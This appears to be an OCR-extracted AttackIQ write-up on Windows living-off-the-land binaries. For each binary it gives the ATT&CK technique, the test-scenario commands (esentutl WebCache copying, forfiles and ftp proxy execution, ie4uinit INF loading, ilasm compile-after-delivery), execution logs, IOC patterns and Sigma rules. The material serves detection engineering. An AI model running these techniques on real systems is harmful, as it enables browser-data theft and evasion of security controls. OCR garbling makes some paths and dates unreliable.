Destination File: C:\Users\ADMINI~1\AppData\Local\Temp\aiq_binary_FZpbc

Copy Progress (% complete)

(Click for Larger)

Collect Browser Data via Esentutl using Powershell Script

Description

This scenario will execute a PowerShell script that will iterate through each user profile on the system and attempt to flush
the data from the WebCache log files back to the WebCacheV@1 database using the esentutl utility. Once the data has

been flushed, a copy of the database will be made to a temporary directory.

The scenario’s outcome will be set to Not Prevented if the script is able to flush and make a copy of a
user’s WebCache database. The scenario will be set to Prevented if none of the user profiles have an existing database or if

the script fails for any reason.

To execute the scenario correctly, it’s important to make sure that a WebCache database exists for at least one of the user
profiles. The database is typically locked by Windows if the user for that profile is currently logged in to the system and the

scenario may end with a false prevention.
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Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/27/2023 10:45:45 am 02/27/2023 10:46:28 am
= Activity Details ~
M Info Warning @ Error 2 Advanced
M (02/27/2623 10:45:46 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\P1USVw81jx1xy\\collect_database_webcache.ps1', '-ErrorLogFile', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\P1USVw@1jx1xy\\attackig-script-error-log-a38671dd-7d41-4c5c-baa2-

fe7122f4b61a. json" |
FI (02/27/2623 10:46:28 am) Script output: "Creating temporary directory on path C:\Users\ADMINI~1\AppData\Local\Temp\aiq-webcache

Found WebCache directory for 'admin’, attempting to execute esentutl.exe against path 'C:\Users\admin\AppData\Local\Microsoft\Windows\WebCache'
Failed to dump data for user 'admin’ with esentutil.exe

Found WebCache directory for 'administrator’, attempting to execute esentutl.exe against path 'C:\Users\administrator\AppData\LocaliMicrosoft\Windows\HebCache'
Failed to dump data for user ‘administrator’ with esentutil.exe

Found WebCache directory for 'attackiq', attempting to execute esentutl.exe against path 'C:\Users\attackiq\AppData\Local\Microsoft\Windows\WebCache'
Succesfully dumped data for user 'attackiq’ with esentutil.exe
Copying Webcache database from user 'attackiq' to directory 'C:\Users\ADMINI~1\AppData\Local\Temp\aiq-webcache"

(Click for Larger)
Scenario IOCs

[((process:binary_ref.name LIKE '%esentutl.exe' AND windows-registry-key:key LIKE
'%System\CurrentControlSet\Services\VSS%') AND (windows-registry-key:key NOT LIKE
'%System\CurrentControlSet\Services\VSS\Start%"'))]

[((file:name LIKE '%.exe' OR file:name LIKE '%.d1l' OR file:name LIKE '%.ocx' OR file:name LIKE '%.zip' OR
file:name LIKE '%.rar' OR file:name LIKE '%.7z' OR file:name LIKE '%.diagcab' OR file:name LIKE '%.appx' OR
file:name LIKE '%.ps1' OR file:name LIKE '%.bat' OR file:name LIKE '%.vbs' OR file:name LIKE '%.scf' OR
file:name LIKE '%.wsf' OR file:name LIKE '%.wsh') AND (process:binary_ref.name LIKE '%\esentutl.exe'))]

[((process:binary_ref.name LIKE '%\esentutl.exe') AND (process:command_line LIKE '%/r%' OR

process:command_line LIKE '%-r%') AND process:command_line LIKE '%\Windows\WebCache%')]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

esentutl.exe
1:35:2... W ai_exec_serverexe 2876 <2 Process Create  C:\Program Files\AttackIQ\Agent\AiRunCommandAs User exe SUCCESS PID: 9720. Command line: "...
1:35:2.. 'B- ARunCommandAsUser exe 9720 <2 Process Start SUCCESS Parent PID: 2876, Comman..
1:35:2... 'N- AiRunCommandAsUser.exe 9720 <2 Process Create C:\Program Files\AttackIQ\Agent \engine'\py3\python exe SUCCESS PID: 9340, Command line: *...
1:35:2... ®python exe 9340 2 Process Start SUCCESS Parent PID: 9720, Comman...
1:35:2... I®python exe 9340 ¢®Process Create  C:\WINDOWS\System32\WindowsPowerShell\v 1.0\powershell exe SUCCESS PID: 2568, Command line: C...
1:35:2... EMpowershell exe 2568 <2 Process Statt SUCCESS Parent PID: 9340, Comman.
1:35:2... EMpowershell exe 2568 ¢ Process Create  C:\WINDOWS'\system32\esentutl exe SUCCESS PID: 5204. Command line: "...

Parent PID: 2568, Comman...
Exit Status: 0, User Time: 0....

SUCCESS

3. E¥powershell.exe 2568 <2 Process Exit SUCCESS Extt Status: 0, User Time: 0....

.. Ppython exe 9340 <2 Process Exit SUCCESS Exit Status: 0, User Time: 2...

... W ARunCommandAsUser exe 9720 c’i' Process Exit SUCCESS Exit Status: 0, User Time: 0....
(Click for Larger),
Sigma Rules

o [rules/windows/registry/registry_event/registry_event esentutl volume shadow copy_service keys.yml

» /[rules/windows/process creation/proc creation win esentutl webcache.yml

Back to Top
Expand.exe

Binary description
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expand.exe is a command-line tool used in Microsoft Windows operating systems to extract files and folders from a
compressed cabinet (.cab) file. Cabinet files are archives used to store system files, drivers, and other components. The
expand.exe utility is included in all versions of Windows, and it can be used to extract individual files, groups of files, or an

entire cab file.
TTPs and tactics
o Command and Control: Ingress Tool Transfer (T1105)
How do the adversaries use it?
expand.exe could be used to copy a file into the file system.
AttackIQ Scenarios
Copy a file using “expand.exe” Script
Description

This scenario will execute the following command:
expand.exe helloworld.exe $env:temp\$name

The scenario will be marked as Not Prevented if the file is copied into the destination path.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/27/2023 11:21:50 am 02/27/2023 11:21:56 am
i= Activity Details -~
M info Warning @ Error R Advanced
P (02/27/2623 11:21:51 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass’, '-File', 'C:\\Users\\ADMINI~T\\AppData\\Local\\Temp
\\GY2yM3qkqb_7i\\expand.ps1’, '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\GY2yM3qkqb_7i\\attackig-script-error-log-ad1666b8-975a-45ee-a7a7-b2cbf3ae7854. json' ]

2 (82/27/2023 11:21:56 am) Script output: "Executing expand.exe helloworld.exe C:\Users\ADMINI~1\AppData\Local\Temp\aiq_binary_PpvkH
Microsoft (R) File Expansion Utility
Copyright (c) Microsoft Corporation. All rights reserved.

Copying helloworld.exe to c:\users\admini~1\appdata\local\temp\aiq_binary_ppvkh.
helloworld.exe: 10240 bytes copied.

Successfully copied helloworld.exe file into the C:\Users\ADMINI~1\AppData\Local\Temp directory.
Successfully removed C:\Users\ADMINI~1\AppData\Local\Temp\aiq_binary_PpvkH

F1 (82/27/2023 11:21:56 am) Script "expand.ps1” execution was successful
™ (e2/2 am) Successfully exe "expal "

(Click for Larger)
Scenario IOCs

[((file:name LIKE '%.exe' OR file:name LIKE '%.d1l"' OR file:name LIKE '%.ocx' OR file:name LIKE '%.zip' OR
file:name LIKE '%.rar' OR file:name LIKE '%.7z' OR file:name LIKE '%.diagcab' OR file:name LIKE '%.appx' OR
file:name LIKE '%.ps1' OR file:name LIKE '%.bat' OR file:name LIKE '%.vbs' OR file:name LIKE '%.scf' OR
file:name LIKE '%.wsf' OR file:name LIKE '%.wsh') AND (process:binary_ref.name LIKE '%\expand.exe'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

expand.exe
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2:21:4.. W ai_exec_serverexe 2876 ¢®Process Create  C:\Program Files\AttackIQ\Agent\AiRunCommandAs User.exe SUCCESS PID: 6276, Command line: *..
2:21:4... % ARunCommandAsUser.exe 6276 < Process Start SUCCESS Parent PID: 2876, Comman...
2:21:4... - ARunCommandAsUser exe 6276 ¢®Process Create C:\Program Files\AttackIQ\Agent\engine‘py3\python.exe SUCCESS PID: 2548, Command line: "...
2:21:4... Ppython.exe 2548 ¢2Process Start SUCCESS Parent PID: 6276, Comman...
2:21:5... I®python exe 2548 ¢2Process Create  C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe SUCCESS PID: 2392, Command line: C
2:21:5... E¥powershell exe 2392 ¢ Process Start SUCCESS Parent PID: 2548, Comman...
2:21:5... E¥powershell.exe 2392 ¢ Process Create  C:\WINDOWS\system32\expand exe SUCCESS PID: 6872, Command line: *...
2:21:5... ‘W-expand.exe 6872 ¢2Process Start SUCCESS Parent PID: 2392, Comman.
2:21:5... W-expand.exe 6872 2 Process Exit SUCCESS Exit Status: 0. User Time: 0....
2:21:5... E¥powershell.exe 2392 2 Process Exit SUCCESS Exit Status: 0, User Time: 0....
2:21:5... python exe 2548 ¢ Process Exit SUCCESS Exit Status: 0, User Time: 2...
2:21:5... W ARunCommandAsUser.exe 6276 < Process Exit SUCCESS Exit Status: 0. User Time: 0....

(Click for Larger),

Sigma Rules

The following rules should be modified uncommenting — \expand.exe

Back to Top

Binary description

Extrac32.exe is a command-line tool included with Microsoft Windows operating systems. It is used to extract files from

Microsoft Cabinet (.cab) files. Cabinet files are a type of archive file that is commonly used for distributing software

updates, drivers, and other types of system files.

TTPs and tactics

o Command and Control: Ingress Tool Transfer (T1105)

How do the adversaries use it?

extrac32.exe could be used to copy a file into the file system.

AttackIQ Scenarios

Description

This scenario will execute the following command:

extrac32.exe /C helloworld.exe $env:temp\$name

The scenario will be marked as Not Prevented if the file is copied into the destination path.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected 02/27/202311:38:52 am 02/27/2023 11:38:57 am
:= Activity Details ~
™ Info Warning o Error 1 Advanced
P (02/27/2023 11:38:53 am) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy', 'bypass', '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp

\\1gnPEafbgda2r\\extrac32.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\1gnPEafbgda2r\\attackig-script-error-log-da73dffe-6efd-430a-9294-cd66794e776a.json" |
FI (82/27/2623 11:38:57 am) Script output: "Executing extrac32.exe /C helloworld.exe C:\Users\ADMINI~1\AppData\lLocal\Temp\aiq_binary_EMIGQ

Microsoft (R) Cabinet Extraction Tool

Copyright (c) Microsoft Corporation. All rights reserved..

Extracting helloworld.exe -> C:\Users\ADHINI~T\AppData\Local\Temp\aiq_binary_EMIGQ

Successfully copied helloworld.exe file into the C:\Users\ADMINI~1\AppData\local\Temp directory.

Successfully removed C:\Users\ADMINI~1\AppData\lLocal\Temp\aiq_binary_EMIgQ

FI (92/27/2623 11:38:57 am) Script "extrac32.ps1® execution was successful

P (02/27/2623 11:38:57 am) Successfully executed script "extrac32.psi”

P (02/27/2623 11:39:07 am) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\lgnPEafbBda2riextrac32.ps1’ to delete does not exist anymore.
M (92/27/2623 11:39:07 am) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\lgnPEafb8da2r’ to delete does not exist anymore.

(Click for Larger),
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[((file:name LIKE '%.exe' OR file:name LIKE '%.d1l' OR file:name LIKE '%.ocx' OR file:name LIKE '%.zip' OR
file:name LIKE '%.rar' OR file:name LIKE '%.7z' OR file:name LIKE '%.diagcab' OR file:name LIKE '%.appx' OR
file:name LIKE '%.ps1' OR file:name LIKE '%.bat' OR file:name LIKE '%.vbs' OR file:name LIKE '%.scf' OR
file:name LIKE '%.wsf' OR file:name LIKE '%.wsh') AND (process:binary_ref.name LIKE '%\extrac32.exe'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

expand.exe
2:38:4.. W ai_exec_serverexe 2876 ¢ Process Create  C:\Program Files\Attack IQ\Agent\AiRunCommandAsUser exe SUCCESS PID: 9280, Command line: "...
2:38: - ARunCommandAsUser.exe 9280 < Process Start SUCCESS Parent PID: 2876, Comman...
2 ¥- ARunCommandAsUser.exe 9280 ¢ Process Create  C:\Program Files\Attack IQ\Agent'engine \py 3\python exe SUCCESS PID: 6556, Command line: "
2 P python exe 6556 <2 Process Start SUCCESS Parent PID: 9280. Comman...
2 Ppython exe 6556 <O Process Create  C:\WINDOWS\System32\WindowsPowerShell\w1.0\powershell exe SUCCESS PID: 3544, Command line: C...
2 . EMpowershell exe 3544 ¢ Process Start SUCCESS Parent PID: 6556, Comman
2 E¥powershell exe 3544 2Process Create C:\WINDOWS\system32\extrac32.exe SUCCESS PID: 6380, Command line: "...
2 W extrac32.exe 6380 <2 Process Start SUCCESS Parent PID: 3544, Comman...
2 B extrac32.exe 6380 <2 Process Exit SUCCESS Exit Status: 0, User Time: 0.
2 . E¥powershell exe 3544 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0....
2: Ppython.exe 6556 <2 Process Exit SUCCESS Exit Status: 0, User Time: 2....
2:38:5... - AiRunCommandAsUser.exe 9280 ¢ Process Exit SUCCESS Exit Status: 0, User Time: 0.

(Click for Larger),
Sigma Rules
Add extrac32.exe to the following rules:

Back to Top

Forfiles.exe

Binary description

forfiles.exe is a computer software utility for Microsoft Windows, which selects files and runs a command on them. File
selection criteria include name and last modified date. The command specifier supports some special syntax options. It can

be used directly on the command-line, or in batch files or other scripts.
TTPs and tactics
o Defense Evasion: Indirect Command Execution (T1202)
How do the adversaries use it?
Forfiles can be used to subvert controls and possibly conceal command execution by not directly invoking cmd.
AttackIQ Scenarios
Indirect Command Execution through “forfiles.exe” Command
Description

The scenario executes the following command:
powershell.exe forfiles /p c:\windows\system32 /m notepad.exe /c $pwd\AIQ_pid_binary.exe

Where AIQ_pid_binary.exe is a binary that will print a message and its process id.
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The scenario will be marked as not prevented if the pattern “AttackIQ binary has been spawned” is present in the stdout.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Command Execution Critical Not Prevented Not Detected - 02/27/2023 11:56:18 am 02/27/2023 11:56:19 am
= Activity Details ~

M info A Warmning @ Error Fa Advanced

M (02/27/2623 11:56:19 am) Command to be executed: powershell.exe forfiles /p c:\windows\system32 /m notepad.exe /c $pwd\AIQ_pid_binary.exe
F1 (02/27/2623 11:56:19 am) Command output: "
AttackIQ binary has been spawned with PID 10184

P (02/27/2623 11:56:19 am) Reading command output file for test pattern: "AttackIQ binary has been spawned”
P (02/27/2623 11:56:19 am) Complete generic_command_execution_util output: "
AttackIQ binary has been spawned with PID 10184

1 (82/27/2623 11:56:19 am) Test Pattern was found in the command output file
M (02/27/2623 11:56:19 am) Successfully executed command "powershell.exe forfiles /p c:\windows\system32 /m notepad.exe /c $pwd\AIQ_pid_binary.exe"

(Click for Larger)
Scenario IOCs

[((process:binary_ref.name LIKE '%\forfiles.exe') AND (process:command_line LIKE '% /c %' OR
process:command_line LIKE '% -c %') AND (process:command_line LIKE '% /m %' OR process:command_line LIKE '% -m
%') AND (process:command_line LIKE '% /p %' OR process:command_line LIKE '% -p %'))]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —
forfiles.exe — AIQ_pid_binary.exe

2:56:1... W-ai_exec_serverexe 2876 ¢°Process Create C:\Program Files\AttackIQ\Agent\AiRunCommandAsUser exe SUCCESS PID: 5764, Command line: ".
2:56:1... 'W- ARunCommandAsUser.exe 5764 ¢ Process Start SUCCESS Parent PID: 2876, Comman...
2:56:1... 'W- ARunCommandAsUser.exe 5764 <°Process Create C:\Program Files\AttackIQ\Agent\engine'\py3\python exe SUCCESS PID: 1504, Command line: ".
2:56:1... Ppython exe 1504 < Process Start SUCCESS Parent PID: 5764, Comman...
2:56:1... Ppython.exe 1504 ¢2Process Create  C:\WINDOWS\System32\WindowsPowerShell\v 1.0\powershel .exe SUCCESS PID: 1928, Command line: p...
2:56:1... E¥powershell exe 1928 ¢ Process Start SUCCESS Parent PID: 1504, Comman...
2:56:1... EMpowershell exe 1928 ¢®Process Create  C:\WINDOWS\system 32\forfiles exe SUCCESS PID: 6536, Command line: "...
2:56:1... - forfiles. 6536 <2 Process Start SUCCESS Parent PID: 1928, Comman...
256:1... 6536 ¢ Process Create C:\Users\administrator\AppData\Local\Temp\C8GZhtq2mctxq \AIQ_pid_binary.exeSUCCESS PID: 10184, Command line: ...
2:56:1... W- AIQ_pid_binary.exe 10184 <2 Process Start SUCCESS Parent PID: 6536, Comman...
2:56:1... W- AIQ_pid_binary.exe 10184 ¢ Process Exit SUCCESS Exit Status: 0. User Time: 0....
2:56:1... W-forfiles exe 6536 2 Process Exit SUCCESS Exit Status: 0. User Time: 0...
2:56:1... EMpowershell exe 1928 <2 Process Exit SUCCESS Exit Status: 0. User Time: 0....
Ppython exe 1504 ¢ Process Exit SUCCESS Exit Status: 0, User Time: 2....
2:56:1... W ARunCommandAsUser.exe 5764 ¢2Process Exit SUCCESS Exit Status: 0, User Time: 0....
(Click for Larger)
Sigma Rules

o /rules/windows/process creation/proc_creation win lolbin forfiles.yml

Back to Top

Ftp.exe

Binary description

ftp.exe is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP).
TTPs and tactics

How do the adversaries use it?

Adversaries can use it to transfer other tools onto a system, execute commands, or exfiltrate data.
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Indirect Command Execution through “forfiles.exe” Command

Description

This particular scenario involves downloading a text file containing commands to be run with ftp.exe and also downloading

a custom binary that, when executed, sends data to the standard output. The scenario then executes these commands using

the following command:

ftp.exe -s:ftpcommands.txt

The scenario will be marked as not prevented if the pattern “AttackIQ binary has been spawned” is present in the stdout.

Execution

Name

v Generic Command Execution

= Activity Details

Critical Phase

Critical

Prevention Detection

Not Prevented Not Detected

M (02/27/2023 12:28:61 pm) Command to be executed: ftp -s:ftpcommands.txt
FI (02/27/2023 12:28:62 pm) Command output: "ftp> !AIQ_pid_binary.exe
AttackIQ binary has been spawned with PID 4296

ftp> quit

M (02/27/2023 12:28:62 pm) Reading command output file for test pattern: "AttackIQ binary has been spawned"

M (02/27/2023 12:28:62 pm) Complete generic_command_execution_util output: “ftp> !AIQ_pid_binary.exe
AttackIQ binary has been spawned with PID 4296

ftp> quit

9 (82/27/2023 12:28:62 pm) Test Pattern was found in the command output file
M (02/27/2023 12:28:62 pm) Successfully executed command 'ftp -s:ftpcommands.txt"

(Click for Larger)

Scenario IOCs

Alerted

Start Time

02/27/2023 12:28:00 pm

End Time

02/27/2023 12:28:02 pm

M Info Waming @ Error F1 Advanced

[(((process:binary_ref.name LIKE '%\ftp.exe') AND process:command_line LIKE '%-s:%') OR

process:parent_ref.binary_ref.name LIKE '%\ftp.exe')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — ftp.exe

3:27:5.. W ai_exec_serverexe

3275 AiRunCommandAsUser.exe
3:27:5... W- AiRunCommandAsUser.exe
3.275... Ppython.exe

3:280... Ppython.exe

3.280.. Wfipexe

3:28:
328:0... IPpython.exe

3:28:0... ' AiRunCommandAsUser.exe

(Click for Larger),

Sigma Rules

2876 2 Process Create C:\Program Files\Attack IQ\Agent\ARunCommandAsUser exe

2092 <2 Process Start

2092 <2 Process Create  C:\Program Files\Attack IQ\Agent \engine \py3\python exe

7956 <2 Process Start

7956 <2 Process Create  C:\WINDOWS\SYSTEM32\ftp exe

724 <2 Process Statt

724 2 Process Exit
7956 < Process Exit
2092 < Process Exit

Back to Top

Ie4uinit.exe

Binary description
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ieduinit.exe is a Windows system file that is used to initialize some of the settings for Internet Explorer. Specifically, it is
responsible for configuring user-specific settings related to Internet Explorer, such as browser history, default browser

settings, and other related settings.
TTPs and tactics

» Defense Evasion: System Binary Proxy Execution (T1218)
How do the adversaries use it?

When ie4uinit is called with the parameter -Base-Settings it will call a .inf file called ie4uinit.inf that should be present in

the same working directory as the ie4uinit.exe.

An adversary could copy this binary into a custom working directory and then call it and load a custom .INF file.

AttackIQ Scenarios

System Binary Proxy Execution using “ie4uinit.exe” Script

Description

In this scenario, the following actions will take place:

e The ieduinit.exe file will be copied from the System32 folder to the working directory where supporting files are
stored.

e The ieduinit.exe binary will be called with the ‘-Base-Settings’ parameters.

» A 5-second wait period will occur.

o The system will check for the presence of the attackiq_ie4uinit.txt file in the working directory. If it is present, the
scenario has been successful. If not, the scenario will be prevented.

¢ Clean-up procedures will be carried out.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/27/2023 02:27:14 pm 02/27/2023 02:27:28 pm
i= Activity Details ~
M Info Warming @ Error 1 Advanced
P (02/27/2023 82:27:17 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\v1.@\powershell.exe ['-ExecutionPolicy’, 'bypass', '-File', 'C:\\Users\\ADMINI~T\\AppData\\Local\\Temp
\\yf@tPiaxfqih1\\ie4uinit_script.ps1', '-ErrorLogFile', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\yf@tPiaxfqih1\\attackiq-script-error-log-1e548445-43c6-4991-b6e1-4bad2abe9711.json" |

FI (02/27/2623 02:27:28 pm) Script output: "Copying ieduinit.exe to current working directory
Executing ieduinit.exe -BaseSettings

Waiting 5 seconds

File attackiq_iedunit.txt exists, scenario will be marked as Not Prevented

FI (02/27/2023 02:27:28 pm) Script "ieduinit_script.ps1” execution was successful

P (02/27/2023 02:27:28 pm) Successfully executed script "ieduinit_script.psl”

M (02/27/2023 ©2:27:36 pm) Clean Up - File 'C:\Users\ADMINI~1\AppData\Local\Temp\yfetPiaxfqih1\ie4uinit_script.ps1’ to delete does not exist anymore.
P (02/27/2023 82:27:37 pm) Clean Up - Directory 'C:\Users\ADMINI~1\AppData\Local\Temp\yfotPiaxfqihl' to delete does not exist anymore.

(Click for Larger)
Scenario IOCs

[((process:binary_ref.name LIKE '%\ieduinit.exe'))]
Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

ie4uinit.exe
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. 'B- ai_exec_server.exe
RunCommandAsUser.exe
AiRunCommandAsUser.exe
Ppython exe
PP python exe
5:27:1... E¥powershel exe
5:27. powershell exe
ieduinit exe
4uinit exe
ieduinit exe
- ieduinit exe
|RunDI32 exe
B-jeduinit exe
|_JRunDII32 exe
.. | JRunDII32 exe
_JRunDI32.exe
ieduinit.exe
- ieduint.exe

.. W AiRunCommandAsUser.exe

(Click for Larger)

Sigma Rules

https://www.attackiq.com/2023/03/16 /hiding-in-plain-sight /

2876 2 Process Create
5192 <2 Process Start
5192 <2 Process Create
1232 <2 Process Start
1232 <2 Process Create
8152 ¢ Process Start
8152 2 Process Create

9443 ¢ Process Create
9232 <2 Process Start
9232 ¢©Process Create
4320 < Process Start
9232 2 Process Create
2156 <2 Process Start
4320 <2 Process Exit
2156 <2 Process Exit
9448 <2 Process Exit
9232 <2 Process Exit
8152 <2 Process Exit
1232 <2 Process Exit
5192 <2 Process Exit

C:\Program Files\Attack IQ\Agent\ARunCommandAsUser exe
C:\Program Files\Attack |Q\Agent \engine \py3'python exe
C:A\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe
C:\Users\ADMINI~1\AppData'\Local\ Temp"yf(t Piaxfqih 1 \ieduinit exe
C:\Users\ADMINI~1\App Data\Local\Temp'yf Ot Piaxfqih 1\ieduinit exe
C:\WINDOWS\system32\RunDII32.exe

CAWINDOWS \system32\RunDII32 exe

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

In order to detect the scenario you will need to delete the filter_missing field in the following rule:

e /rules/windows/process creation/proc creation win lolbin ie4uinit.yml

Back to Top
Ilasm.exe

Binary description

PID: 5192, Command line: "...
Parent PID: 2876, Comman...
PID: 1232, Command line: "...
Parent PID: 5192, Comman...
PID: 8152, Command line: C...
Parent PID: 1232, Commar
PID: 3448, Command line:
Parert PID: 8152, Comman...
PID: 9232, Command line: C...
Parent PID: 9448, Comman...
PID: 4320, Command line: C...
Parent PID: 9232, Comman...
PID: 2156, Command line: C...
Parent PID: 9232, Comman...
Exit Status: 0. User Time: 0....
Exit Status: 0. User Time: 0....
Exit Status: 0, User Time: 0....
Exit Status: -1, User Time: 0....
Exit Status: 0, User Time:
Exit Status: 0, User Time: 2....
Exit Status: 0, User Time: 0....

Ilasm.exe is a command-line utility that is part of the Microsoft .NET Framework software development kit (SDK). It is

used to compile Microsoft Intermediate Language (MSIL) code into executable files or dynamic-link libraries (DLLs).

MSIL is a low-level programming language that is used by the .NET Framework. It is similar to assembly language and is

designed to be platform-independent. MSIL code is compiled by the .NET just-in-time (JIT) compiler at runtime into native

machine code that can be executed by the computer’s processor.

Tlasm.exe can be used to create MSIL code from source code written in any .NET-supported programming language, such as

C# or Visual Basic .NET. The resulting MSIL code can then be compiled into an executable file or DLL using ilasm.exe.

TTPs and tactics

o Defense Evasion: Obfuscated Files or Information: Compile After Delivery (T1027.004)

How do the adversaries use it?

An attacker can deliver a source code file containing the malicious code to the target system and then use ilasm.exe to

compile the code into an executable file. By compiling the code on the target system, the attacker can avoid detection by

security software that may have signatures or behavioral patterns for known malicious executables.

The use of ilasm.exe in this context requires that the attacker has already gained access to the target system and has the

necessary permissions to execute the compiler. Once the code is compiled, the attacker can execute it to achieve their

malicious goals, such as stealing sensitive data or taking control of the compromised system.

AttackIQ Scenarios

Compile After Delivery using “ilasm.exe” Script

Description

This scenario will execute the following command:

ilasm.exe aiq_il_code.txt /exe
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The content of the aiq_il_code.txt is:

.assembly extern mscorlib { .publickeytoken = (B7 7A 5C 56 19 34 E@ 89 ) .ver 4:0:0:0 } .assembly hello {
.custom instance void [mscorlib]System.Runtime.CompilerServices.CompilationRelaxationsAttribute::.ctor(int32) =
(01 00 08 00 00 00 00 00 ) .custom instance void
[mscorlib]System.Runtime.CompilerServices.RuntimeCompatibilityAttribute::.ctor() = ( 01 00 01 00 54 02 16 57 72
61 70 4E 6F 6E 45 78 63 65 70 74 69 6F 6E 54 68 72 6F 77 73 @1 ) .hash algorithm 0x00008004 .ver 0:0:0:0 }
.module hello.exe .class private auto ansi beforefieldinit Program extends [mscorlib]System.Object { .method
private static void Main() cil managed { .entrypoint .custom instance void
[mscorlib]System.STAThreadAttribute::.ctor() = ( @1 00 00 00 ) .maxstack 8 IL_0000: nop IL_0001: ldstr
"AttackIQ binary has been spawned." IL_0006: call void [mscorlib]System.Console::WritelLine(string) IL_000b: nop
IL_000c: ret } }

After compiling the binary, the scenario will execute the compiled file and search for the message “AttackIQ binary has

been spawned” in the stdout.

Execution
Name Critical Phase Prevention Detection Alerted Start Time End Time
v Generic Script Execution Critical Not Prevented Not Detected - 02/27/2023 02:56:17 pm 02/27/2023 02:56:22 pm

i= Activity Details

M Info A Warning @ Error 2 Advanced

M (02/27/2023 62:56:19 pm) Command to be executed: C:\WINDOWS\System32\WindowsPowerShell\vi.@\powershell.exe ['-ExecutionPolicy’, 'bypass’, '-File', 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp
\\vBaFax_pyfpmy\\ilasm.ps1', '-ErrorLogFile’, 'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\vBqFax_pyfpmy\\attackiq-script-error-log-638¢937d-7b7d-49f4-8422-6b4778e8aab@. json' ]
I (02/27/2023 62:56:22 pm) Script output: "Executing C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\ilasm.exe aiq_il_code.txt /exe

Microsoft (R) .NET Framework IL Assembler. Version 4.8.4084.8
Copyright (c) Microsoft Corporation. ALl rights reserved.
Assembling 'aiq_il_code.txt' to EXE --> 'aiq_il_code.exe’
Source file is ANSI

Assembled method Program: :Main
Creating PE file

Emitting classes:
Class 1: Program

(Click for Larger)
Scenario IOCs

[(process:binary_ref.name LIKE '%\ilasm.exe')]

Binary process tree

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

ilasm.exe
on the other hand, the compiled binary (aiq_js_code.exe) will have the following one:

ai_exec_server.exe — AiRunCommandAsUser.exe (if running under user privileges) — python.exe — powershell.exe —

aiq_il_code.exe

5:56:1... - ai_exec_serverexe 2876 ¢®Process Create  C:\Program Files\Attack|Q\Agent\AiRunCommandAsUser.exe SUCCESS PID: 6900, Command line: ...
5:56:1... W AiRunCommandAsUser exe 6900 <2 Process Start SUCCESS Parent PID: 2876, Comman...
5:56:1... - AiRunCommandAsUser exe 6900 ¢2Process Create C:\Program Files\Attack|Q\Agent \engine'\py3\python exe SUCCESS PID: 8864, Command line: ...
5:56:1... ®python exe 8364 2 Process Start SUCCESS Parent PID: 6900, Comman..
5:56:1... @python exe 8864 ¢CProcess Create C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell exe SUCCESS PID: 5076. Command line: C...

SUCCESS
SUCCESS

5:56:1... E¥powershell.exe

C:\WINDOW S \Microsoft NET\Framework \v4.0.30319\llasm.exe

Parent PID: 5076. Comman..

1600 < Process Exit SUCCESS Extt Status: 0, User Time: 0....
5:56:2... E¥powershell.exe 5076 <2 Process Create (C:\Users\ADMINI~1\AppData\Local\Temp\vBqFax_pyfpmy‘aiq_il_code exe SUCCESS PID: 9492, Command line: ...
5:56:2... W aig_il_code.exe 9492 ¢2Process Start SUCCESS Parent PID: 5076, Comman.
5:56:2... Wraiq_il_code.exe 9492 ¢ Process Exit SUCCESS Exit Status: 0, User Time: 0....
5:56:2... EMpowershell exe 5076 &2 Process Bxit SUCCESS Exit Status: 0. User Time: 0....
5:56:2... Epython.exe 8864 ¢ Process Exit SUCCESS Exit Status: 0. User Time: 2....
5:56:2... M- AiRunCommandAsUser exe 6900 <2 Process Exit SUCCESS Extt Status: 0, User Time: 0....
Fran = Anon _An . s e teava o ety in aAms A .-

(Click for Larger),
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Sigma Rules
o /rules/windows/process creation/proc creation win lolbin ilasm.yml

Back to Top

Jsc.exe

Binary description

